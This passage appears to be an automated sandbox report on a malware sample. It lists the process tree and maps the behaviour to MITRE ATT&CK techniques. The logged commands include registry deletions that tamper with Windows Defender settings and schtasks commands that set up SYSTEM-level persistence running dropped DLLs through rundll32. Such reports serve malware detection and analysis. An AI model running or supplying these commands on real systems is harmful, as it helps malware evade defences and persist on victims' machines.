C:\Windows\SysWOW64\cmd.exe
cmd /C REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /v "exe" /f /reg:32
3⤵
PID:1944

C:\Windows\SysWOW64\reg.exe
REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /v "exe" /f /reg:32
4⤵
PID:932

C:\Windows\SysWOW64\cmd.exe
cmd /C REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /v "exe" /f /reg:64
3⤵
PID:904

C:\Windows\SysWOW64\reg.exe
REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /v "exe" /f /reg:64
4⤵
PID:1604

C:\Windows\SysWOW64\schtasks.exe
schtasks /CREATE /TR "rundll32 \"C:\Program Files (x86)\CXdyuXxQU\iDPAID.dll\",#1" /RU "SYSTEM" /SC ONLOGON /TN "ErhcMqZyPKQzNnH" /V1 /F
3⤵
- Drops file in Windows directory
- Creates scheduled task(s)
PID:768

C:\Windows\SysWOW64\schtasks.exe
schtasks /CREATE /TN "ErhcMqZyPKQzNnH2" /F /xml "C:\Program Files (x86)\CXdyuXxQU\YZLELnM.xml" /RU "SYSTEM"
3⤵
- Creates scheduled task(s)
PID:1272

C:\Windows\SysWOW64\schtasks.exe
schtasks /END /TN "ErhcMqZyPKQzNnH"
3⤵
PID:1268

C:\Windows\SysWOW64\schtasks.exe
schtasks /DELETE /F /TN "ErhcMqZyPKQzNnH"
3⤵
PID:596

C:\Windows\SysWOW64\schtasks.exe
schtasks /CREATE /TN "TzHNCgqXVcbCsT" /F /xml "C:\Program Files (x86)\YnFPtusxCOTU2\orieAVu.xml" /RU "SYSTEM"
3⤵
- Creates scheduled task(s)
PID:1784

C:\Windows\SysWOW64\schtasks.exe
schtasks /CREATE /TN "UfarzoSChLufz2" /F /xml "C:\ProgramData\RIEoyfpemMjlUPVB\XqMlgzi.xml" /RU "SYSTEM"
3⤵
- Creates scheduled task(s)
PID:1392

C:\Windows\SysWOW64\schtasks.exe
schtasks /CREATE /TN "iQozJLGfyohvxjpyN2" /F /xml "C:\Program Files (x86)\VXhYlHHfTIOjvDnxzUR\svNUyiZ.xml" /RU "SYSTEM"
3⤵
- Creates scheduled task(s)
PID:1044

C:\Windows\SysWOW64\schtasks.exe
schtasks /CREATE /TN "ASXvXFEBgQcQQTYguNW2" /F /xml "C:\Program Files (x86)\LCSurMlfClMRC\qdnfEtc.xml" /RU "SYSTEM"
3⤵
- Creates scheduled task(s)
PID:1284

C:\Windows\SysWOW64\schtasks.exe
schtasks /CREATE /TN "NSdDFfEujjmGqHjBl" /SC once /ST 16:18:55 /RU "SYSTEM" /TR "rundll32 \"C:\Windows\Temp\MNBTbrbBidagOXts\DDoMHAEe\qoyQzfz.dll\",#1 /site_id 525403" /V1 /F
3⤵
- Drops file in Windows directory
- Creates scheduled task(s)
PID:1332

C:\Windows\SysWOW64\schtasks.exe
schtasks /run /I /tn "NSdDFfEujjmGqHjBl"
3⤵
PID:1212

C:\Windows\SysWOW64\cmd.exe
cmd /C REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /v "SpyNetReporting" /f /reg:32
3⤵
PID:1248

C:\Windows\SysWOW64\reg.exe
REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /v "SpyNetReporting" /f /reg:32
4⤵
PID:1168

C:\Windows\SysWOW64\cmd.exe
cmd /C REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /v "SpyNetReporting" /f /reg:64
3⤵
PID:904

C:\Windows\SysWOW64\reg.exe
REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /v "SpyNetReporting" /f /reg:64
4⤵
PID:1632

C:\Windows\SysWOW64\schtasks.exe
schtasks /DELETE /F /TN "GrrjjXtPjBVPFNmZQ"
3⤵
PID:768

C:\Windows\system32\rundll32.EXE
C:\Windows\system32\rundll32.EXE "C:\Windows\Temp\MNBTbrbBidagOXts\DDoMHAEe\qoyQzfz.dll",#1 /site_id 525403
2⤵
PID:1836

C:\Windows\SysWOW64\rundll32.exe
C:\Windows\system32\rundll32.EXE "C:\Windows\Temp\MNBTbrbBidagOXts\DDoMHAEe\qoyQzfz.dll",#1 /site_id 525403
3⤵
- Blocklisted process makes network request
- Checks BIOS information in registry
- Loads dropped DLL
- Drops file in System32 directory
- Enumerates system info in registry
- Modifies data under HKEY_USERS
PID:112

C:\Windows\SysWOW64\schtasks.exe
schtasks /DELETE /F /TN "NSdDFfEujjmGqHjBl"
4⤵
PID:596

C:\Windows\system32\gpscript.exe
gpscript.exe /RefreshSystemParam
1⤵
PID:1520

C:\Windows\system32\gpscript.exe
gpscript.exe /RefreshSystemParam
1⤵
PID:1840

C:\Windows\system32\gpscript.exe
gpscript.exe /RefreshSystemParam
1⤵
PID:1268

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Scheduled Task

Persistence

Modify Existing Service

T1031

Scheduled Task

Privilege Escalation

Scheduled Task

Defense Evasion

Modify Registry

Disabling Security Tools

T1089

Install Root Certificate

T1130

Credential Access

Credentials in Files

T1081

Discovery

Query Registry

System Information Discovery